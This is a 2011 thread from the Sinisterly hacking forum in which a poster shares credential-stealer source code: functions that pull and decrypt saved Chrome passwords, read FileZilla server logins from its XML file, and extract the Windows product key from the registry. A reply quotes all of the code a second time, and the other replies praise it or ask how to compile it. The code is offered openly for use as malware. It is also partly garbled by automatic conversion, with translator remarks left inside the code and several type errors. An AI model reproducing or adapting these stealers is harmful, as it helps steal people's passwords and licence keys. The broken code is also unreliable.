Sinisterly
[C++] Few stealers source - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: C, C++, & Obj-C (https://sinister.ly/Forum-C-C-Obj-C)
+--- Thread: [C++] Few stealers source (/Thread-C-Few-stealers-source)



[C++] Few stealers source - Fire_mybb_import5998 - 02-21-2011

Found somewhere, here we go:

Google Chrome:
Code:
public: void StealChrome() {converted by Instant C++: System::String ^cpass = System::String::empty; System::String ^datapath = Environment::GetFolderPath(Environment::SpecialFolder::LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Web Data"; if (File::Exists(datapath)) { SqlClient::SqlConnection ^SQLconnect = gcnew SqlClient::SqlConnection(); SqlClient::SqlCommand ^SQLcommand = nullptr; SQLconnect->ConnectionString = "Data Source=" + datapath + ";"; SQLconnect->Open(); SQLcommand = SQLconnect->CreateCommand(); SQLcommand->CommandText = "SELECT * FROM logins"; SqlClient::SqlDataReader ^SQLreader = SQLcommand->ExecuteReader(); System::String ^host = nullptr; System::String ^user = nullptr; System::String ^pass = nullptr; while (SQLreader->Read()) { host = SQLreader["origin_url"]; user = SQLreader["username_value"]; pass = Decrypt(SQLreader["password_value"]); if ((user != "") & (pass != "")) { pss->Text = host; cpass = ("=============================" + System::Environment::NewLine + "Host: " + host + System::Environment::NewLine + "Username: " + user + System::Environment::NewLine + "Password: " + pass + System::Environment::NewLine + "=============================" + System::Environment::NewLine + " "); } } delete SQLcommand; SQLconnect->Close(); } } private: [DllImport("Crypt32.dll", SetLastError=true, CharSet=System::Runtime::InteropServices::CharSet::Auto)] static bool CryptUnprotectData(DATA_BLOB %pDataIn, System::String ^szDataDescr, DATA_BLOB %pOptionalEntropy, IntPtr pvReserved, CRYPTPROTECT_PROMPTSTRUCT %pPromptStruct, int dwFlags, DATA_BLOB %pDataOut); [Flags()] private enum class CryptProtectPromptFlags: int { CRYPTPROTECT_PROMPT_ON_UNPROTECT = 0X1, CRYPTPROTECT_PROMPT_ON_PROTECT = 0X2 }; [StructLayout(LayoutKind::Sequential, CharSet=CharSet::Unicode)] private value class CRYPTPROTECT_PROMPTSTRUCT { public: int cbSize; CryptProtectPromptFlags dwPromptFlags; IntPtr hwndApp; System::String ^szPrompt; }; [StructLayout(LayoutKind::Sequential, CharSet=CharSet::Unicode)] private value class DATA_BLOB { public: int cbData; IntPtr pbData; }; public: static System::String ^Decrypt(array<System::Byte> ^Datas) { DATA_BLOB inj = DATA_BLOB(); DATA_BLOB Ors = DATA_BLOB(); GCHandle Ghandle = GCHandle::Alloc(Datas, GCHandleType::Pinned); inj.pbData = Ghandle.AddrOfPinnedObject(); inj.cbData = Datas->Length; Ghandle.Free(); DATA_BLOB temppOptionalEntropy1 = DATA_BLOB(); CRYPTPROTECT_PROMPTSTRUCT temppPromptStruct2 = CRYPTPROTECT_PROMPTSTRUCT(); CryptUnprotectData(inj, nullptr, temppOptionalEntropy1, System::IntPtr::Zero, temppPromptStruct2, 0, Ors); array<System::Byte> ^Returned = gcnew array<System::Byte>(Ors.cbData + 1); Marshal::Copy(Ors.pbData, Returned, 0, Ors.cbData); System::String ^TheString = Encoding::Default->GetString(Returned); return TheString->Substring(0, TheString->Length - 1); } };

Filezilla:
Code:
public: System::String ^FileZillaSteal() { System::String ^FilePath = Microsoft::VisualBasic::Interaction::Environ("APPDATA") + "\\FileZilla\\recentservers.xml"; System::String ^FileBuffer = Microsoft::VisualBasic::Constants::vbNull; System::String ^NL = System::Environment::NewLine; FileBuffer = Microsoft::VisualBasic::FileIO::FileSystem::OpenTextFileReader(FilePath)::ReadTo​​​End(); System::String ^str = nullptr; System::String ^Output = nullptr; array<System::String^> ^TempData = nullptr; TempData = FileBuffer->Split("\r\n"); FileBuffer = nullptr; for each (System::String ^str in TempData) { if (str->Contains("</Host>")) { str->Replace("<Host>", "")->Replace("</Host>", ""); Output = Output + "Host : " + str + NL; } if (str->Contains("</User>")) { str->Replace("<User>", "")->Replace("</User>", ""); Output = Output + "Username : " + str + NL; } if (str->Contains("</Pass>")) { str->Replace("<Pass>", "")->Replace("</Pass>", ""); Output = Output + "Password : " + str + NL + NL; } } Output = "=============FileZilla================" + System::Environment::NewLine + Output->Replace("<User>", "")->Replace("</User>", "")->Replace("<Host>", "")->Replace("</Host>", "")->Replace("<Pass>", "")->Replace("</Pass>", "") + System::Environment::NewLine + "=============FileZilla================" + System::Environment::NewLine; ShoitZilla = Output;must return a value in C++: return nullptr; }

Windows CD-KEY:

Code:
void GetWindowsKey(BOOL is64 = false) { if (is64) { #define WIN64KEY } char* wsResult; //Return a Window Product Key HKEY hRegistryKey; //Registry Handler BYTE *DigitalProductID = 0; //Digital Product Key Value DWORD DataLength; //Digital Product Key Length BYTE ProductKeyExtract[15]; //Extract Key char sCDKey[30]; //Temp, adding a Window Product Key int ByteCounter; //Counter int k; //Convert int nCur; //XOR calculate bool bOk = false; const char *KeyChars[] = { "B","C","D","F","G","H","J","K","M", "P","Q","R","T","V","W","X","Y", "2","3","4","6","7","8","9",NULL }; const char NT_CURRENT[] = "SOFTWARE\\MICROSOFT\\Windows NT\\CurrentVersion"; #ifdef WIN64KEY #ifdef KEY_WOW64_64KEY #else #define KEY_WOW64_64KEY 0x0100 #endif if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, NT_CURRENT, REG_OPTION_NON_VOLATILE, KEY_QUERY_VALUE | KEY_WOW64_64KEY, &hRegistryKey) == ERROR_SUCCESS ) #else if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, NT_CURRENT, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hRegistryKey) == ERROR_SUCCESS ) #endif { DataLength = 164; //Allocate Memory DigitalProductID = new byte[DataLength]; //Memory Initialization memset(DigitalProductID, 0, DataLength); //Digital Product if( RegQueryValueEx(hRegistryKey, "DigitalProductId", NULL, NULL, DigitalProductID, &DataLength) == ERROR_SUCCESS ) { //reading a value start position 52, by 66 memcpy(ProductKeyExtract, DigitalProductID+52, 15); bOk = true; } //Release Memory if(DigitalProductID) delete []DigitalProductID; //Close Registry RegCloseKey(hRegistryKey); } if( !bOk ) printf(wsResult); //Start Converting job, Next Step memset(sCDKey, 0, sizeof(sCDKey)); for(ByteCounter=24; ByteCounter >= 0; --ByteCounter) { nCur = 0; for(k=14; k >= 0; --k) { nCur = (nCur * 256) ^ ProductKeyExtract[k]; ProductKeyExtract[k] = nCur / 24; nCur %= 24; } strcat(sCDKey, KeyChars[nCur]); //Insert "-" if( !(ByteCounter % 5) && ByteCounter ) strcat(sCDKey, "-"); } _strrev(sCDKey); wsResult = sCDKey; char *pch; pch = strstr(wsResult, "-"); if (pch != NULL) { printf(wsResult); } else { GetWindowsKey(true); } #ifdef WIN64KEY #undef WIN64KEY #endif }

Random catch - not my work!


RE: [C++] Few stealers source - securelite - 05-27-2011

very nice post...i'll try this...


RE: [C++] Few stealers source - hoxy - 07-04-2011

(02-21-2011, 04:01 PM)FiRe Wrote: Found somewhere, here we go:

Google Chrome:
Code:
public: void StealChrome() {converted by Instant C++: System::String ^cpass = System::String::empty; System::String ^datapath = Environment::GetFolderPath(Environment::SpecialFolder::LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Web Data"; if (File::Exists(datapath)) { SqlClient::SqlConnection ^SQLconnect = gcnew SqlClient::SqlConnection(); SqlClient::SqlCommand ^SQLcommand = nullptr; SQLconnect->ConnectionString = "Data Source=" + datapath + ";"; SQLconnect->Open(); SQLcommand = SQLconnect->CreateCommand(); SQLcommand->CommandText = "SELECT * FROM logins"; SqlClient::SqlDataReader ^SQLreader = SQLcommand->ExecuteReader(); System::String ^host = nullptr; System::String ^user = nullptr; System::String ^pass = nullptr; while (SQLreader->Read()) { host = SQLreader["origin_url"]; user = SQLreader["username_value"]; pass = Decrypt(SQLreader["password_value"]); if ((user != "") & (pass != "")) { pss->Text = host; cpass = ("=============================" + System::Environment::NewLine + "Host: " + host + System::Environment::NewLine + "Username: " + user + System::Environment::NewLine + "Password: " + pass + System::Environment::NewLine + "=============================" + System::Environment::NewLine + " "); } } delete SQLcommand; SQLconnect->Close(); } } private: [DllImport("Crypt32.dll", SetLastError=true, CharSet=System::Runtime::InteropServices::CharSet::Auto)] static bool CryptUnprotectData(DATA_BLOB %pDataIn, System::String ^szDataDescr, DATA_BLOB %pOptionalEntropy, IntPtr pvReserved, CRYPTPROTECT_PROMPTSTRUCT %pPromptStruct, int dwFlags, DATA_BLOB %pDataOut); [Flags()] private enum class CryptProtectPromptFlags: int { CRYPTPROTECT_PROMPT_ON_UNPROTECT = 0X1, CRYPTPROTECT_PROMPT_ON_PROTECT = 0X2 }; [StructLayout(LayoutKind::Sequential, CharSet=CharSet::Unicode)] private value class CRYPTPROTECT_PROMPTSTRUCT { public: int cbSize; CryptProtectPromptFlags dwPromptFlags; IntPtr hwndApp; System::String ^szPrompt; }; [StructLayout(LayoutKind::Sequential, CharSet=CharSet::Unicode)] private value class DATA_BLOB { public: int cbData; IntPtr pbData; }; public: static System::String ^Decrypt(array<System::Byte> ^Datas) { DATA_BLOB inj = DATA_BLOB(); DATA_BLOB Ors = DATA_BLOB(); GCHandle Ghandle = GCHandle::Alloc(Datas, GCHandleType::Pinned); inj.pbData = Ghandle.AddrOfPinnedObject(); inj.cbData = Datas->Length; Ghandle.Free(); DATA_BLOB temppOptionalEntropy1 = DATA_BLOB(); CRYPTPROTECT_PROMPTSTRUCT temppPromptStruct2 = CRYPTPROTECT_PROMPTSTRUCT(); CryptUnprotectData(inj, nullptr, temppOptionalEntropy1, System::IntPtr::Zero, temppPromptStruct2, 0, Ors); array<System::Byte> ^Returned = gcnew array<System::Byte>(Ors.cbData + 1); Marshal::Copy(Ors.pbData, Returned, 0, Ors.cbData); System::String ^TheString = Encoding::Default->GetString(Returned); return TheString->Substring(0, TheString->Length - 1); } };

Filezilla:
Code:
public: System::String ^FileZillaSteal() { System::String ^FilePath = Microsoft::VisualBasic::Interaction::Environ("APPDATA") + "\\FileZilla\\recentservers.xml"; System::String ^FileBuffer = Microsoft::VisualBasic::Constants::vbNull; System::String ^NL = System::Environment::NewLine; FileBuffer = Microsoft::VisualBasic::FileIO::FileSystem::OpenTextFileReader(FilePath)::ReadTo​​​End(); System::String ^str = nullptr; System::String ^Output = nullptr; array<System::String^> ^TempData = nullptr; TempData = FileBuffer->Split("\r\n"); FileBuffer = nullptr; for each (System::String ^str in TempData) { if (str->Contains("</Host>")) { str->Replace("<Host>", "")->Replace("</Host>", ""); Output = Output + "Host : " + str + NL; } if (str->Contains("</User>")) { str->Replace("<User>", "")->Replace("</User>", ""); Output = Output + "Username : " + str + NL; } if (str->Contains("</Pass>")) { str->Replace("<Pass>", "")->Replace("</Pass>", ""); Output = Output + "Password : " + str + NL + NL; } } Output = "=============FileZilla================" + System::Environment::NewLine + Output->Replace("<User>", "")->Replace("</User>", "")->Replace("<Host>", "")->Replace("</Host>", "")->Replace("<Pass>", "")->Replace("</Pass>", "") + System::Environment::NewLine + "=============FileZilla================" + System::Environment::NewLine; ShoitZilla = Output;must return a value in C++: return nullptr; }

Windows CD-KEY:

Code:
void GetWindowsKey(BOOL is64 = false) { if (is64) { #define WIN64KEY } char* wsResult; //Return a Window Product Key HKEY hRegistryKey; //Registry Handler BYTE *DigitalProductID = 0; //Digital Product Key Value DWORD DataLength; //Digital Product Key Length BYTE ProductKeyExtract[15]; //Extract Key char sCDKey[30]; //Temp, adding a Window Product Key int ByteCounter; //Counter int k; //Convert int nCur; //XOR calculate bool bOk = false; const char *KeyChars[] = { "B","C","D","F","G","H","J","K","M", "P","Q","R","T","V","W","X","Y", "2","3","4","6","7","8","9",NULL }; const char NT_CURRENT[] = "SOFTWARE\\MICROSOFT\\Windows NT\\CurrentVersion"; #ifdef WIN64KEY #ifdef KEY_WOW64_64KEY #else #define KEY_WOW64_64KEY 0x0100 #endif if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, NT_CURRENT, REG_OPTION_NON_VOLATILE, KEY_QUERY_VALUE | KEY_WOW64_64KEY, &hRegistryKey) == ERROR_SUCCESS ) #else if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, NT_CURRENT, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hRegistryKey) == ERROR_SUCCESS ) #endif { DataLength = 164; //Allocate Memory DigitalProductID = new byte[DataLength]; //Memory Initialization memset(DigitalProductID, 0, DataLength); //Digital Product if( RegQueryValueEx(hRegistryKey, "DigitalProductId", NULL, NULL, DigitalProductID, &DataLength) == ERROR_SUCCESS ) { //reading a value start position 52, by 66 memcpy(ProductKeyExtract, DigitalProductID+52, 15); bOk = true; } //Release Memory if(DigitalProductID) delete []DigitalProductID; //Close Registry RegCloseKey(hRegistryKey); } if( !bOk ) printf(wsResult); //Start Converting job, Next Step memset(sCDKey, 0, sizeof(sCDKey)); for(ByteCounter=24; ByteCounter >= 0; --ByteCounter) { nCur = 0; for(k=14; k >= 0; --k) { nCur = (nCur * 256) ^ ProductKeyExtract[k]; ProductKeyExtract[k] = nCur / 24; nCur %= 24; } strcat(sCDKey, KeyChars[nCur]); //Insert "-" if( !(ByteCounter % 5) && ByteCounter ) strcat(sCDKey, "-"); } _strrev(sCDKey); wsResult = sCDKey; char *pch; pch = strstr(wsResult, "-"); if (pch != NULL) { printf(wsResult); } else { GetWindowsKey(true); } #ifdef WIN64KEY #undef WIN64KEY #endif }

Random catch - not my work!



i love this thanks for sharning !!


RE: [C++] Few stealers source - SwordHack - 07-10-2011

Nice share man! HAHA! Biggrin


RE: [C++] Few stealers source - chipp - 09-02-2011

btw, how to use this? sorry, i'm a newbie... Biggrin


RE: [C++] Few stealers source - Zabra - 09-08-2011

(09-02-2011, 01:33 PM)chipp Wrote: btw, how to use this? sorry, i'm a newbie... Biggrin


You compile them bub :lol::lol: